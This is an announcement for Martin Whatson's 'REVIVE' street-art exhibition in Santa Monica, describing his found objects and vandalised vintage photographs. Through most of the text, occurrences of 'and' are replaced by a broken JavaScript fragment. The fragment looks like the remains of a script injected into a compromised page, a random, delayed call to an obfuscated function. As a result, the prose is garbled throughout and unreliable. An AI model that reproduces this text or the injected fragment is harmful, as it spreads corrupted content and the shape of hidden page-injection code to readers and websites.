Martin Whatson “Revive” Solo Exhibition Opening

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Opening this Friday Sept 29th in Santa Monica, Street Artist Martin Whatson’s will be launching his biggest exhibition to date in Los Angeles. Located at 328 Santa Monica Blvd. Santa Monica, CA. 90401

Martin Whatson’s work is instantly recognisable. Working primarily as a stencil artist over the past ten years, Whatson uses explosive colour against greyscale backgrounds to challenge ideas of perception, possibility andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and imagination in the urban environment. His pieces appear in London, Paris, New-York, Las Vegas, Miami, Tokyo…

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“REVIVE” is curated by Rom Levy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and supported by LeBasse Projects. The exhibition marks a new phase in the artist’s creative direction. Found objects are reworked andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and repurposed to draw into question the individual status andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and collective value assigned to ‘raw materials’. Furniture andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vintage photographs sourced by Whatson from flea markets andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and auctions are ‘vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalized’ with graffiti. Black andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and white cameo portraits of Victoriana-era women are given spray painted masks in full colour. This technique allows the found object to be decontextualised, by dismantling, obscuring andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and

performing its original meaning – particularly the photograph. The spray can becomes a mode of theoretical obfuscation, warping the distance between centuries, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bringing to mind the work of surrealist artists such as Rene Magritte.

Throughout his career Martin Whatson has examined the nature of contrasts. This new body of work sees the prominent street artist call into question the expectations of urban art, by uprooting the medium from its urban context. Playing with ideas of vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andalization, urban art in “REVIVE” is a way to deconstruct the past andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and articulate the contrast between a commercially produced item andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the memory it contains.